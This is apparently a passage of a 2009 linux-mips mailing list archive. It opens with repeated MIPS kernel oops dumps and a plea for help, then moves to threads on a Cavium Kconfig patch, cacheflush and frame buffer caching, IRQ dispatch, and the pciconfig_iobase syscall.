0000001a 95be83f8 736e6172 95be8000 00000000 $8 : 0da8d7fc 1000001f 95f1fcd3 00000000 94214529 fffffffe 95f1fc8e ffffffff $16: 95be83f0 941fc6a4 00000001 95be83f0 0000001b 95be93d0 00000000 00000400 $24: 00000010 00000006 95be8000 95be90a8 7fff7db8 94040b58 Hi : 0da8d7fc Lo : 86d504ab epc : 94040ad0 Not tainted Status: 1000fc02 Cause : 10808010 Process (pid: 718007680, stackpage=95be8000) Stack: 8ea20008 8f878020 00000000 24e77084 95be8000 00000001 95be8000 1000fc00 00000000 94040b58 8ea40000 8f858020 00000000 24a570b0 94040d44 00000000 0320f809 00000000 8fbc0020 144000a2 00000009 94041058 02c02021 8f998798 00000000 0320f809 006d46bf 95be8000 00000000 95be91c0 ab710d06 94041558 8e8400a8 8f858020 00000000 24a56c7c 9403f848 00000000 0320f809 00000000 8fbc0020 ... Call Trace: [<94040b58>] [<94040d44>] [<94041058>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<94191880>] [<9402df94>] [] [<9402e9bc>] [<940302ac>] [<9402df94>] [] [<9402e9bc>] [<9402df94>] [<940302b8>] [<9402df94>] [] [<9402e9bc>] [<9402df94>] [<940302b8>] [<9402df94>] [] [<9402e9bc>] [<9402df94>] [<940302b8>] [<9402df94>] [] [<9402e9bc>] [<9402df94>] [<940302b8>] [<9402df94>] [] [<9402e9bc>] [<9402df94>] [<940302b8>] [<9402df94>] [] [<9402e9bc>] ... Code: 24120001 3c119420 2631c6a4 <8ca20004> 54540010 00a08021 8ca20000 14400002 ae020000 Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 69746361 00000001 00000084 959f2124 00000002 959f2124 $8 : 1000fc00 1000001f 95be8e7a 00000000 94214529 fffffffe 95be8e2f ffffffff $16: 00000001 941fc6a4 00000009 95be83f0 00000000 95be93d0 00000000 00000400 $24: 00000010 00000007 95be8000 95be8de8 7fff7db8 94040dc8 Hi : 00000000 Lo : 00000084 epc : 94040df0 Not tainted Status: 1000fc02 Cause : 10808014 Process (pid: 718007680, stackpage=95be8000) Stack: 95be8000 00000001 95be8000 1000fc00 95be8000 00000009 95be8000 1000fc00 94040f68 00000000 94040d50 39343032 38303130 31303830 00000009 00000001 95be8000 94041118 00000000 00000000 00000000 00000000 006d46bf 95be8000 00000000 95be8ef0 0000001b 94041558 33323130 37363534 00000005 66656463 9403f848 00003135 33323130 37363534 00000005 66656463 95be8000 00000001 00000000 ... Call Trace: [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] Code: 00000000 ace00000 8e620004 12000005 ae670004 5203000b acf20004 09010391 Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 69746361 00000001 00000108 959f21a8 00000003 959f21a8 $8 : 1000fc00 1000001f 95be8bb9 00000000 94214529 fffffffe 95be8b6e ffffffff $16: 00000001 941fc6a4 00000009 95be83f0 00000000 95be93d0 00000000 00000400 $24: 00000010 00000006 95be8000 95be8b28 7fff7db8 94040dc8 Hi : 00000000 Lo : 00000108 epc : 94040df0 Not tainted Status: 1000fc02 Cause : 00808414 Process (pid: 718007680, stackpage=95be8000) Stack: 95be8000 00000001 95be8000 1000fc00 95be8000 00000009 95be8000 1000fc00 94040f68 00000000 94040d50 39343032 38303134 31303830 00000009 00000001 95be8000 94041118 00000000 00000000 00000000 00000000 006d46bf 95be8000 00000000 95be8c30 00000000 94041558 33323130 37363534 00000005 66656463 9403f848 00003684 33323130 37363534 00000005 66656463 95be8000 00000001 00000000 ... Call Trace: [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] [<94040df0>] [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] Code: 00000000 ace00000 8e620004 12000005 ae670004 5203000b acf20004 09010391 Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 69746361 00000001 0000018c 959f222c 00000004 959f222c $8 : 1000fc00 1000001f 95be88f9 00000000 94214529 fffffffe 95be88ae ffffffff $16: 00000001 941fc6a4 00000009 95be83f0 00000000 95be93d0 00000000 00000400 $24: 00000010 00000006 95be8000 95be8868 7fff7db8 94040dc8 Hi : 00000000 Lo : 0000018c epc : 94040df0 Not tainted Status: 1000fc02 Cause : 00808414 Process (pid: 718007680, stackpage=95be8000) Stack: 95be8000 00000001 95be8000 1000fc00 95be8000 00000009 95be8000 1000fc00 94040f68 00000000 94040d50 39343032 38343134 31303830 00000009 00000001 95be8000 94041118 00000000 00000000 00000000 00000000 006d46bf 95be8000 00000000 95be8970 00000000 94041558 33323130 37363534 00000005 66656463 9403f848 00003cf0 33323130 37363534 00000005 66656463 95be8000 00000001 00000000 ... Call Trace: [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] [<94040df0>] [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] ... Code: 00000000 ace00000 8e620004 12000005 ae670004 5203000b acf20004 09010391 Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 69746361 00000001 00000210 959f22b0 00000005 959f22b0 $8 : 1000fc00 1000001f 95be8639 00000000 94214529 fffffffe 95be85ee ffffffff $16: 00000001 941fc6a4 00000009 95be83f0 00000000 95be93d0 00000000 00000400 $24: 00000010 00000006 95be8000 95be85a8 7fff7db8 94040dc8 Hi : 00000000 Lo : 00000210 epc : 94040df0 Not tainted Status: 1000fc02 Cause : 00808414 Process (pid: 718007680, stackpage=95be8000) Stack: 95be8000 00000001 95be8000 1000fc00 95be8000 00000009 95be8000 1000fc00 94040f68 00000000 94040d50 39343034 38343134 31303830 00000009 00000001 95be8000 94041118 00000000 00000000 00000000 00000000 006d46bf 95be8000 00000000 95be86b0 00000000 94041558 33323130 37363534 00000005 66656463 9403f848 0000436d 33323130 37363534 00000005 66656463 95be8000 00000001 00000000 ... Call Trace: [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] [<94040df0>] [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] ... Code: 00000000 ace00000 8e620004 12000005 ae670004 5203000b acf20004 09010391 Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 00000001 00000001 00000294 959f2334 00000006 959f2334 $8 : 1000fc00 1000001f 95be8379 00000000 94214529 fffffffe 95be832e ffffffff $16: 00000001 941fc6a4 00000009 95be83f0 00000000 95be93d0 00000000 00000400 $24: 00000010 00000006 95be8000 95be82e8 7fff7db8 94040dc8 Hi : 00000000 Lo : 00000294 epc : 94040df0 Not tainted Status: 1000fc02 Cause : 00808414 Process (pid: 718007680, stackpage=95be8000) Stack: 95be8000 00000001 95be8000 1000fc00 95be8000 00000009 95be8000 1000fc00 94040f68 743c3e65 94040d50 39343034 38343134 31303830 00000009 00000001 95be8000 94041118 79656b3c 79656b3e 6e656c5f 6b2f3c34 006d46bf 95be8000 00000000 95be83f0 00000000 94041558 33323130 37363534 00000005 66656463 9403f848 000049ea 33323130 37363534 00000005 66656463 95be8000 00000001 00000000 ... Call Trace: [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] [<94040df0>] [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] ... Code: 00000000 ace00000 8e620004 12000005 ae670004 5203000b acf20004 09010391 Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 00000001 00000001 00000318 959f23b8 00000007 959f23b8 $8 : 1000fc00 1000001f 95be80b9 00000000 94214529 fffffffe 95be806e ffffffff $16: 00000001 941fc6a4 0000001d 95be83f0 00000000 95be93d0 00000000 00000400 $24: 00000010 00000006 95be8000 95be8028 7fff7db8 94040dc8 Hi : 00000000 Lo : 00000318 epc : 94040df0 Not tainted Status: 1000fc02 Cause : 00800414 Process (pid: 0, stackpage=95be6000) Stack: afb010b1 ab710d06 a6322bdf a2f33668 95be8000 0000001d 95be8000 1000fc00 94040f68 00000000 30646338 39343034 38343134 31303830 0000001d 00000001 95be8000 94041118 2aafe000 2aaee000 2aaee000 2acbcbcc 7ffffffe 95be8000 00000000 95be8130 00000000 94041558 33323130 37363534 00000005 66656463 9403f89c 00005067 33323130 37363534 00000005 66656463 95be8000 00000001 00000000 ... Call Trace: [<94040f68>] [<94041118>] [<94041558>] [<9403f89c>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<9403476e>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] [<94040df0>] [<94040f68>] [<94040d50>] [<94041118>] [<94041558>] [<9403f848>] [<9403f8ec>] [<9403fec4>] [<94191c04>] [<9403469c>] [<94034730>] [<94191880>] [<940348a0>] [<94193ea0>] [<9402b588>] [<9402b59c>] [<94192cd0>] [<9402b5c8>] [<9402d974>] [<9402d6b8>] [<94040dc8>] [<94040df0>] ... Code: 00000000 ace00000 8e620004 12000005 ae670004 5203000b acf20004 09010391 [CODE] Please cam help me to understand this error and solve it? Kindest regards Fabrizio -- View this message in context: http://www.nabble.com/Kernel-2.4.17_mvl21-malta-mips%3A-error-tp22046664p22046664.html Sent from the linux-mips main mailing list archive at Nabble.com. From David.Daney@caviumnetworks.com Tue Feb 17 16:57:22 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 17 Feb 2009 16:57:25 +0000 (GMT) Received: from mail3.caviumnetworks.com ([12.108.191.235]:2769 "EHLO mail3.caviumnetworks.com") by ftp.linux-mips.org with ESMTP id S21365908AbZBQQ5W (ORCPT ); Tue, 17 Feb 2009 16:57:22 +0000 Received: from exch4.caveonetworks.com (Not Verified[192.168.16.23]) by mail3.caviumnetworks.com with MailMarshal (v6,2,2,3503) id ; Tue, 17 Feb 2009 11:57:06 -0500 Received: from exch4.caveonetworks.com ([192.168.16.23]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 17 Feb 2009 08:57:04 -0800 Received: from dd1.caveonetworks.com ([64.169.86.201]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 17 Feb 2009 08:57:04 -0800 Message-ID: <499AEC5F.2050206@caviumnetworks.com> Date: Tue, 17 Feb 2009 08:57:03 -0800 From: David Daney User-Agent: Thunderbird 2.0.0.19 (X11/20090105) MIME-Version: 1.0 To: Ralf Baechle CC: Yoichi Yuasa , linux-mips Subject: Re: [PATCH][MIPS] remove "support for" from Cavium system type References: <20090214170926.d750aaaf.yoichi_yuasa@tripeaks.co.jp> In-Reply-To: <20090214170926.d750aaaf.yoichi_yuasa@tripeaks.co.jp> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Feb 2009 16:57:04.0280 (UTC) FILETIME=[C25FA980:01C99120] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21943 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ddaney@caviumnetworks.com Precedence: bulk X-list: linux-mips Content-Length: 988 Lines: 32 Yoichi Yuasa wrote: > Signed-off-by: Yoichi Yuasa Also: Signed-off-by: David Daney > > diff -pruN -X /home/yuasa/Memo/dontdiff linux-orig/arch/mips/Kconfig linux/arch/mips/Kconfig > --- linux-orig/arch/mips/Kconfig 2009-02-14 16:56:19.274686578 +0900 > +++ linux/arch/mips/Kconfig 2009-02-14 16:57:14.474681145 +0900 > @@ -596,7 +596,7 @@ config WR_PPMC > board, which is based on GT64120 bridge chip. > > config CAVIUM_OCTEON_SIMULATOR > - bool "Support for the Cavium Networks Octeon Simulator" > + bool "Cavium Networks Octeon Simulator" > select CEVT_R4K > select 64BIT_PHYS_ADDR > select DMA_COHERENT > @@ -610,7 +610,7 @@ config CAVIUM_OCTEON_SIMULATOR > hardware. > > config CAVIUM_OCTEON_REFERENCE_BOARD > - bool "Support for the Cavium Networks Octeon reference board" > + bool "Cavium Networks Octeon reference board" > select CEVT_R4K > select 64BIT_PHYS_ADDR > select DMA_COHERENT > > From David.Daney@caviumnetworks.com Tue Feb 17 17:07:56 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 17 Feb 2009 17:07:58 +0000 (GMT) Received: from mail3.caviumnetworks.com ([12.108.191.235]:63707 "EHLO mail3.caviumnetworks.com") by ftp.linux-mips.org with ESMTP id S21103620AbZBQRH4 (ORCPT ); Tue, 17 Feb 2009 17:07:56 +0000 Received: from exch4.caveonetworks.com (Not Verified[192.168.16.23]) by mail3.caviumnetworks.com with MailMarshal (v6,2,2,3503) id ; Tue, 17 Feb 2009 12:06:39 -0500 Received: from exch4.caveonetworks.com ([192.168.16.23]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 17 Feb 2009 09:06:32 -0800 Received: from dd1.caveonetworks.com ([64.169.86.201]) by exch4.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 17 Feb 2009 09:06:32 -0800 Message-ID: <499AEE98.1010908@caviumnetworks.com> Date: Tue, 17 Feb 2009 09:06:32 -0800 From: David Daney User-Agent: Thunderbird 2.0.0.19 (X11/20090105) MIME-Version: 1.0 To: post@pfrst.de, Ralf Baechle CC: linux-mips@linux-mips.org Subject: Re: cacheflush system call-MIPS References: <20090211131649.GA1365@linux-mips.org> <20090213235603.GA32274@linux-mips.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Feb 2009 17:06:32.0444 (UTC) FILETIME=[15069BC0:01C99122] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21944 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ddaney@caviumnetworks.com Precedence: bulk X-list: linux-mips Content-Length: 1119 Lines: 43 peter fuerst wrote: >> Why does it need that flush? > > To prepare the update-area (in the Shadow-FB) for DMA to RE. > > And on systems where the root frame buffer is directly manipulated by the CPU, the video system is continually using DMA to refresh the display. A cache flush can be required to eliminate transient visual glitches. David Daney > kind regards > > > > On Fri, 13 Feb 2009, Ralf Baechle wrote: > >> Date: Fri, 13 Feb 2009 23:56:03 +0000 >> From: Ralf Baechle >> To: peter fuerst >> Cc: naresh kamboju , linux-mips@linux-mips.org >> Subject: Re: cacheflush system call-MIPS >> >> On Sat, Feb 14, 2009 at 12:50:46AM +0100, peter fuerst wrote: >> >>> there is one more good reason to ... : the Impact Xserver needs to do >>> a cacheflush(a,w,DCACHE) as part of the refresh-sequence. >>> And hence requires a sys_cacheflush, let's say, more conforming to the >>> man-page (or some disgusting new ioctl in the Impact kernel-driver to >>> do an equivalent operation ;-) >> Why does it need that flush? >> >> Ralf >> >> > > From ebs@ebshome.net Tue Feb 17 19:45:12 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 17 Feb 2009 19:45:15 +0000 (GMT) Received: from gate.ebshome.net ([208.106.21.240]:62166 "EHLO gate.ebshome.net") by ftp.linux-mips.org with ESMTP id S21366000AbZBQTpM (ORCPT ); Tue, 17 Feb 2009 19:45:12 +0000 Received: (qmail 25683 invoked by uid 1000); 17 Feb 2009 11:45:09 -0800 Date: Tue, 17 Feb 2009 11:45:09 -0800 From: Eugene Surovegin To: David Daney Cc: post@pfrst.de, Ralf Baechle , linux-mips@linux-mips.org Subject: Re: cacheflush system call-MIPS Message-ID: <20090217194509.GA16134@gate.ebshome.net> References: <20090211131649.GA1365@linux-mips.org> <20090213235603.GA32274@linux-mips.org> <499AEE98.1010908@caviumnetworks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <499AEE98.1010908@caviumnetworks.com> X-ICQ-UIN: 1193073 X-Operating-System: Linux i686 X-PGP-Key: http://www.ebshome.net/pubkey.asc User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21945 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ebs@ebshome.net Precedence: bulk X-list: linux-mips Content-Length: 622 Lines: 16 On Tue, Feb 17, 2009 at 09:06:32AM -0800, David Daney wrote: > peter fuerst wrote: >>> Why does it need that flush? >> To prepare the update-area (in the Shadow-FB) for DMA to RE. > > And on systems where the root frame buffer is directly manipulated by the > CPU, the video system is continually using DMA to refresh the display. A > cache flush can be required to eliminate transient visual glitches. In this case using uncached fb access is the only way to avoid glitches - you cannot control cache line evictions. And it's usually faster to use uncached mappings for effectively write-only regions. -- Eugene From dvomlehn@cisco.com Tue Feb 17 20:51:03 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 17 Feb 2009 20:51:06 +0000 (GMT) Received: from sj-iport-6.cisco.com ([171.71.176.117]:41680 "EHLO sj-iport-6.cisco.com") by ftp.linux-mips.org with ESMTP id S21366063AbZBQUvD convert rfc822-to-8bit (ORCPT ); Tue, 17 Feb 2009 20:51:03 +0000 X-IronPort-AV: E=Sophos;i="4.38,225,1233532800"; d="scan'208";a="251336673" Received: from sj-dkim-4.cisco.com ([171.71.179.196]) by sj-iport-6.cisco.com with ESMTP; 17 Feb 2009 20:50:44 +0000 Received: from sj-core-2.cisco.com (sj-core-2.cisco.com [171.71.177.254]) by sj-dkim-4.cisco.com (8.12.11/8.12.11) with ESMTP id n1HKohpa022057; Tue, 17 Feb 2009 12:50:43 -0800 Received: from xbh-rtp-211.amer.cisco.com (xbh-rtp-211.cisco.com [64.102.31.102]) by sj-core-2.cisco.com (8.13.8/8.13.8) with ESMTP id n1HKohQY009626; Tue, 17 Feb 2009 20:50:43 GMT Received: from xmb-rtp-218.amer.cisco.com ([64.102.31.117]) by xbh-rtp-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 17 Feb 2009 15:50:43 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8BIT Subject: RE: cacheflush system call-MIPS Date: Tue, 17 Feb 2009 15:50:41 -0500 Message-ID: In-Reply-To: <20090217194509.GA16134@gate.ebshome.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: cacheflush system call-MIPS Thread-Index: AcmROGb9yqOYrNbLSiuqcc+e/OQPuAAA06nA References: <20090211131649.GA1365@linux-mips.org> <20090213235603.GA32274@linux-mips.org> <499AEE98.1010908@caviumnetworks.com> <20090217194509.GA16134@gate.ebshome.net> From: "David VomLehn (dvomlehn)" To: "Eugene Surovegin" , "David Daney" Cc: , "Ralf Baechle" , X-OriginalArrivalTime: 17 Feb 2009 20:50:43.0294 (UTC) FILETIME=[665B6FE0:01C99141] DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; l=1419; t=1234903843; x=1235767843; c=relaxed/simple; s=sjdkim4002; h=Content-Type:From:Subject:Content-Transfer-Encoding:MIME-Version; d=cisco.com; i=dvomlehn@cisco.com; z=From:=20=22David=20VomLehn=20(dvomlehn)=22=20 |Subject:=20RE=3A=20cacheflush=20system=20call-MIPS |Sender:=20; bh=ohbDmGwN89Vu2BS4gIircPBZ2hoTSjBe8305JZvlHvQ=; b=nJMX9wGcLRaHl55pvaLJHp+ZMUdmV5kmWAZ8IHlpa15VawE0eh37D2KM8x S85LntM40zGrNJOtHEN8tcZe36WmIW/Mqi+C+XlPE4V/qKRuZNkjMcGCwprd 7pEImHMz2Z; Authentication-Results: sj-dkim-4; header.From=dvomlehn@cisco.com; dkim=pass ( sig from cisco.com/sjdkim4002 verified; ); Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21946 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: dvomlehn@cisco.com Precedence: bulk X-list: linux-mips Content-Length: 1368 Lines: 31 > From: linux-mips-bounce@linux-mips.org > [mailto:linux-mips-bounce@linux-mips.org] On Behalf Of Eugene > Surovegin > Sent: Tuesday, February 17, 2009 11:45 AM > To: David Daney > Cc: post@pfrst.de; Ralf Baechle; linux-mips@linux-mips.org > Subject: Re: cacheflush system call-MIPS > > On Tue, Feb 17, 2009 at 09:06:32AM -0800, David Daney wrote: > > peter fuerst wrote: > >>> Why does it need that flush? > >> To prepare the update-area (in the Shadow-FB) for DMA to RE. > > > > And on systems where the root frame buffer is directly > manipulated by the > > CPU, the video system is continually using DMA to refresh > the display. A > > cache flush can be required to eliminate transient visual glitches. > > In this case using uncached fb access is the only way to avoid > glitches - you cannot control cache line evictions. And it's usually > faster to use uncached mappings for effectively write-only regions. A far more appropriate caching mode for frame buffers, if your processor supports it, is to use uncached accelerated (_CACHED_UNCACHED_ACCELERATED in the kernel source). Unfortunately, at least as far as I can tell, you'd need to write your own driver to do the memory mapping so that it can set the cache coherency attributes to get this behavior. Not especially hard if you are familiar with device drivers, much harder if you are note. From chris@notav8.com Fri Feb 20 08:33:29 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 20 Feb 2009 08:33:31 +0000 (GMT) Received: from qmta04.emeryville.ca.mail.comcast.net ([76.96.30.40]:48275 "EHLO QMTA04.emeryville.ca.mail.comcast.net") by ftp.linux-mips.org with ESMTP id S21200955AbZBTId1 (ORCPT ); Fri, 20 Feb 2009 08:33:27 +0000 Received: from OMTA01.emeryville.ca.mail.comcast.net ([76.96.30.11]) by QMTA04.emeryville.ca.mail.comcast.net with comcast id J8Wz1b0080EPchoA48ZLbF; Fri, 20 Feb 2009 08:33:20 +0000 Received: from [10.0.0.109] ([24.6.28.106]) by OMTA01.emeryville.ca.mail.comcast.net with comcast id J8ZK1b0012HMlxk8M8ZKof; Fri, 20 Feb 2009 08:33:20 +0000 Message-ID: <499E6AC5.5070404@notav8.com> Date: Fri, 20 Feb 2009 00:33:09 -0800 From: Chris Rhodin User-Agent: Thunderbird 2.0.0.19 (Windows/20081209) MIME-Version: 1.0 To: linux-mips@linux-mips.org Subject: plat_irq_dispatch Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21947 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: chris@notav8.com Precedence: bulk X-list: linux-mips Content-Length: 745 Lines: 21 Hi, I've been digging through the interrupt code trying to figure out what would be required to make it "generic irq" clean. I have a couple of questions that I haven't been able to answer myself. 1) I count 24 different versions of plat_irq_dispatch, many of them only seem to vary in the use and priority of the 8 sources in the cause register. Is this really the case or am I missing something subtle? 2) Why isn't plat_irq_dispatch looping until all active interrupts are serviced? I already have what I believe is a generic plat_irq_dispatch that finds the highest priority irq in (almost) constant time. It needs one block of defines to identify the 8 sources and another block to set the priorities. Thanks, Chris Rhodin From robert.zhangle@gmail.com Fri Feb 20 13:02:33 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 20 Feb 2009 13:02:36 +0000 (GMT) Received: from crux.i-cable.com ([203.83.115.104]:43231 "HELO crux.i-cable.com") by ftp.linux-mips.org with SMTP id S21299246AbZBTNCd (ORCPT ); Fri, 20 Feb 2009 13:02:33 +0000 Received: (qmail 23893 invoked by uid 107); 20 Feb 2009 13:02:19 -0000 Received: from 203.83.114.121 by crux (envelope-from , uid 104) with qmail-scanner-2.01 (clamdscan: 0.93.3/8786. spamassassin: 2.63. Clear:RC:1(203.83.114.121):SA:0(-2.2/5.0):. Processed in 5.415651 secs); 20 Feb 2009 13:02:19 -0000 Received: from ip114121.hkicable.com (HELO silicon.i-cable.com) (203.83.114.121) by 0 with SMTP; 20 Feb 2009 13:02:13 -0000 Received: from localhost (cm222-167-208-75.hkcable.com.hk [222.167.208.75]) by silicon.i-cable.com (8.13.5/8.13.5) with ESMTP id n1KD22wp024057 for ; Fri, 20 Feb 2009 21:02:13 +0800 (HKT) Date: Fri, 20 Feb 2009 21:01:57 +0800 From: Zhang Le To: linux-mips@linux-mips.org Subject: [RFC] implement syscall pciconfig_iobase Message-ID: <20090220130156.GA14095@adriano.hkcable.com.hk> Mail-Followup-To: linux-mips@linux-mips.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.16 (2007-06-09) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21948 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: r0bertz@gentoo.org Precedence: bulk X-list: linux-mips Content-Length: 1116 Lines: 27 This is for xorg-server support. Currently, xorg-server on loongson need a patch: http://www.gentoo-cn.org/gitweb/?p=loongson;a=blob;f=x11-base/xorg-server/files/xorg-server-1.5.3-loongson.patch;h=9c48b3752b7f14b6603524f46ae832f312e7c6fe;hb=HEAD#l37 Please note that line 37, the last parameter to mmap, which is the ioBase_phys, is hardcoded. This patch no long applies to xorg-server git master. So I took at look at the code trying to find out why. And then I found powerpc has implemented this syscall: pciconfig_iobase Please take a look at the following code: http://cgit.freedesktop.org/xorg/xserver/tree/hw/xfree86/os-support/linux/lnx_video.c#n517 At the first glance, it is absolutely a good idea to implement this for mips, too. However when I read pciconfig_iobase's manpage, I found this sentence: Most of the interaction with PCI devices is already handled by the kernel PCI layer, and thus these calls should not normally need to be accessed from userspace. So I decided to bring this issue here, so that you guys could give me some advice. Thanks in advance! Zhang, Le From ralf@h5.dl5rb.org.uk Fri Feb 20 13:47:31 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 20 Feb 2009 13:47:33 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:55991 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S21299246AbZBTNrb (ORCPT ); Fri, 20 Feb 2009 13:47:31 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1KDlUY8023357; Fri, 20 Feb 2009 13:47:30 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1KDlTLH023354; Fri, 20 Feb 2009 13:47:29 GMT Date: Fri, 20 Feb 2009 13:47:29 +0000 From: Ralf Baechle To: Chris 